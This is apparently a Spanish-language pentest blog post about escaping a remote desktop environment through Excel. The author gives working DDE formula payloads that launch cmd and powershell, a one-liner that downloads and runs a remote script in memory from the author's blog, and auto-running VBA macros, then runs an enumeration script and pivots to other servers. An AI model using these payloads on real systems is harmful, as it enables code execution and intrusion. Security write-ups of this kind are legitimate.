Esta semana me tocó hacer un pentest de un sistema de remote desktops. Un sistema de remote desktops tiene la finalidad de darle acceso a un usuario para usar aplicaciones predefinidas en una computadora remota. Como ejemplo digamos que alguien en una universidad quiere usar Photoshop el administrator le puede dar acceso a otra computadora. Lo logra sin instalar nada en la computadora local. El detalle es que tiene que estar super compartamentalizado sino vas a tener acceso al sistema y a otros usuarios y a todo corriendo en esa computadora ja.
Como ejemplo se ve algo así:

La parte de infraestructura exterior era la más segura que he visto:

  1. No se podía enumerar usuarios
  2. Si cambiabas alguna request te botaba sin preguntar
  3. Te bloqueaba después de 3 intentos
  4. Tenía 2fa que igual te bloqueaba si fallabas 3 intentos
  5. TLS estaba perfecto

Excel -> powershell

La verdad cuando empecé pensé que no encontraría nada. Ya cuando entre vi Office y me brillaron los ojitos.
Hay dos formas de “escapar” que usan muchos malwares que es ejecutar cmd o powershell via office (sobretodo excel)

Así que empezando el análisis puse en una celda:

=cmd|'/C calc'!A0'

Y se inicializó la calculadora. Ok buen comienzo. Luego puse:

=cmd|'/k echo you have been hacked'!A0

Ok, mejor pude entrar a CMD y poner un command. Y lo mejor es que CMD funcionaba. Vamos a intentar algo más divertido:

=cmd|'/c powershell.exe'!A0

Eso fue hermoso, lo primero que ves es un pop up diciendo que va a empezar CMD. Le dices que si:

Y luego ves CMD con unas bellas letras ps antes, eso quiere decir que estas en powershell.

A partir de aquí hay que ver que permisos tienes que puedes ver. Tienes que encontrar una carpeta donde puedas escribir, y si puedes subir archivos ya la hiciste. Pero hay un atajo… si pudieras ejecutar desde la memoria texto que cargues de otro lado estaría incredible así que lo que hice fue subir un archivo de texto al blog y ejecutarlo:

=cmd|'/k powershell iex(New-Object System.Net.WebClient).DownloadString(\"https://mexicanpentester.com/wp-content/uploads/2019/03/powershelltest.txt\")'!A0

Macros

Hay otra forma de hacerlo con macros por cierto:

Sub Auto_Open()
 Dim exec As String
 exec = "cmd.exe /c powershell.exe "
 Shell (exec)
End Sub
Sub AutoOpen()
 Auto_Open
End Sub
Sub Workbook_Open()
 Auto_Open
End Sub

Enumeration

Ok, ahora como no quería revisar todo a mano. Usé JAWS que es un script de powershell para enumera cosas interesantes del sistema por ejemplo:

  1. Usuarios
  2. Procesos
  3. Archivos/Folders en los que tienes permisos
  4. Procesos activos
  5. Programas instalados
  6. Reglas del Firewall, ARP, información de la red.

Como lo que reporta normalmente es mucho es recomendable ponerlo en un txt file para ver después.
Entoconces como lo haces? en mi caso fue sencillo, pude haberlo subido a mi blog y executarlo desde la memoria pero me fui por el camino sencillo.

notepad.exe
// copie y pegue el archivo de github
// lo guarde como .ps1
// y lo ejecute con
.\jaws-enum.ps1 >> Ric.txt

Listooooo tenía muchísima información, muchísima, desde con esa información pude brincar a otros servidores y prácticamente mostrarles lo inseguro que estaban 🙂

 

 


Otras formas como ejecutarlo desde paint